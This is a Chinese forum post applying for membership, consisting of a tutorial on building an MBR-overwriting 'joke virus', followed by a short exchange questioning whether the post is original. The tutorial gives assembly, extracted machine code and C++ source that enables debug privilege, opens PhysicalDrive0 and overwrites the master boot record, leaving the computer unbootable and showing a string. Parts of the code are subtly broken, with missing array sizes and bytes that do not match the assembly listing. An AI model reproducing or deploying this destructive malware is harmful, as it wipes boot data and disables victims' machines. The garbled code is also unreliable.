申请会员ID:HenYu
**1、申 请 I D:HenYu2、个人邮箱:H20090808@outlook.com
3、原创技术文章**
# MBR修改
+ ### MBR是什么
MBR是主引导记录(Master Boot Record)的英文缩写,在传统硬盘分区模式中,引导扇区是每个分区(Partition)的第一扇区,而主引导扇区是硬盘的第一扇区。**简而言之,就是先于操作系统拿到控制权。**
为了方便计算机访问硬盘,把硬盘上的空间划分成许许多多的区块(英文叫sectors,即扇区),然后给每个区块分配一个地址,称为逻辑块地址(即LBA)。
在MBR中,分区表的大小是固定的,一共可容纳4个主分区信息。在MBR分区表中逻辑块地址采用32位二进制数表示,因此一共可表示2^32(2的32次方)个逻辑块地址。如果一个扇区大小为512字节,那么MBR硬盘最大分区容量仅为2TB
**所以我们可以通过修改MBR实现一些特殊的功能,例如MBR病毒**
+ ### MBR修改过程及实践
#### ** 功能描述:**
该实践样本就只是一个简单的玩笑病毒,主要是让你不能开机,只在屏幕显示一串字符串。
#### **病毒原理:**
+ 准备好将要写入的MBR
+ 提升程序权限 调用CreateFile函数去打开物理驱动器的时候,必须具备调试权限,否则就会打开失败,打开失败我们就不能对MBR进行读取了
+打开"\\\\.\\PHYSICALDRIVE0"文件\\\\.\\PHYSICALDRIVE0"文件表示本机的物理驱动器0(一般是主硬盘),也就是我们的MBR。
+ 写入MBR
***成功写入MBR,我们也就拿到了先于系统的控制权了,就可以做很多事情了,但是这里我们只是在teletype模式下显示一串字符串。***
----
#### **汇编源码**
**下面是完整的汇编源码:**
```assembly
assume cs:code
code segment
start:
mov ax,12h ;使用12号功能,对显示器进行设置
int 10h
;显示器的设置
mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度干好18H,哈哈
mov cx, 13h ;字符串长度
mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
mov bx,0Ch ;BH = 00H BL = 0CH
mov dx,0h
int 10h
jmp $ ;无线循环,防止代码进入数据区
code ends
end start
```
**下面是对汇编代码的剖析:**
+ 对显示器进行设置:
int 10h中断是BIOS对系统屏幕显示器所提供的服务程序。我们可以调用int 10h中断来控制显示器的显示。使用INT 10H中断的时候,都先必须指定AH的值,AH的值是用来指定INT 10H将要调用的功能号。
```assembly
mov ax,12h ;使用12号功能,对显示器进行设置
int 10h ;调用int 10h中断
```
+ 指定显示字符串:
```assembly
mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度刚好18H,哈哈
mov cx, 13h ;字符串长度
```
+ 对字符串显示进行设置
```assembly
mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
mov bx,0Ch ;BH = 00H BL = 0CH
mov dx,0h ;起始的行列
```
#### INT 10H中断的13号功能
功能描述:在Teletype模式下显示字符串
入口参数:AH=13H
BH=页码
BL=属性,文字模式或颜色 (若AL=00H或 01H)
CX=显示字符串长度
(DH、DL)=坐标(行、列)
ES:BP=显示字符串的地址 AL=显示输出方式
0—— 字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
2——字符串中含显示字符和显示属性。显示后,光标位置不变
3——字符串中含显示字符和显示属性。显示后,光标位置改变
出口参数:无
#### 获取汇编的机器码
上为什么要获取上面代码的机器码呢?因为我们的代码都是被编译器解释为机器码来执行的,这里我们面是汇编代码,所以需要编译链接之后可以将机器码拷贝出来。
**编译连接:**
+ **用到的工具**
`MASM5.0`
+ **用到的指令**
将上面的解压后放到你觉得合适的地方,这里我是放在的C盘。这里编译是用到masm5.0里面的masm.exe程序。下面就对我们的代码进行编译。生成的*.obj文件存放在masm.exe程序的同位置,如果你想改变生成的位置,你可以在cmd显示Object filename 的时候指定一个路径。
`C:\masm>masm C:\Users\user\Desktop\4.asm`
![](https://images2015.cnblogs.com/blog/612518/201607/612518-20160707194839186-408305157.png)
编译成功后就是连接了,连接我们要用到的就是masm5.0里面的link.exe程序。
![](https://images2015.cnblogs.com/blog/612518/201607/612518-20160707194841092-1625985003.png)
好了,程序连接成功,下面就是提取里面的机器码了。这里我用的是C32Asm,当然你也可以用WinHex
![](https://images2015.cnblogs.com/blog/612518/201607/612518-20160707194843264-1624424729.png)
圈出来的部分就是我们的代码,下面是提取出来的。
`B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE`
我们把我们想要显示的字符串添加到后面去。
`B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE 42 79 20 48 65 6E 59 75`
#### 主代码
MBR准备好了。那么就来写主程序吧。主程序就两个函数,一个用来提权,一个用来写MBR。
```cpp
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
char temp={ 0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x42,0x79,0x20,0x48,0x65,0x6E,0x59,0x75};
//自己写一个函数来提权。
void GetPrivileges()
{
//定义一个PLUID
HANDLE hProcess;
HANDLE hTokenHandle;
TOKEN_PRIVILEGES tp;
//获取当前进程的句柄
hProcess = GetCurrentProcess();
//
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
//函数查看系统权限的特权值,返回信息到一个LUID结构体里。
tp.PrivilegeCount =1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges.Luid);
tp.Privileges.Attributes =SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
CloseHandle(hTokenHandle);
CloseHandle(hProcess);
}
//下面的函数来读取"\\\\.\\PHYSICALDRIVE0"
void ReadPHYSICALDRIVE0()
{
HANDLE hFile;
DWORD dwReadSize;
// char lpBuffer;
//使用createFile打开这个文件
char str_Name[] = "\\\\.\\PHYSICALDRIVE0";
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(0, "wrong", "wrong", 0);
}
BYTE pMBR ={0}; ;MBR为512个字节
memcpy(pMBR,temp,sizeof(temp)-1);
pMBR =0x55; ;最后的标记位
pMBR = 0xAA;
//用readfile来读取文件
WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
}
int _tmain(int argc, _TCHAR* argv[])
{GetPrivileges();
ReadPHYSICALDRIVE0();
return 0;
```
#### 总结
运行我们编译好的主程序,然后重启就会发现我们的电脑无法正常启动了,并且在屏幕上会出现一串字符——“By HenYu”。如下图到这里一个简单的改写MBR的程序就写好了。 https://www.cnblogs.com/xiongwei/p/9549743.html
这文章是你原创的吗? 这篇文章是我发在CSDN上的一篇文章
游客 112.9.7.x 发表于 2023-4-12 21:53
这篇文章是我发在CSDN上的一篇文章
提供一下原帖地址,并用csdn的账号发一个说明这个申请账号贴子是你发布的。
页:
[1]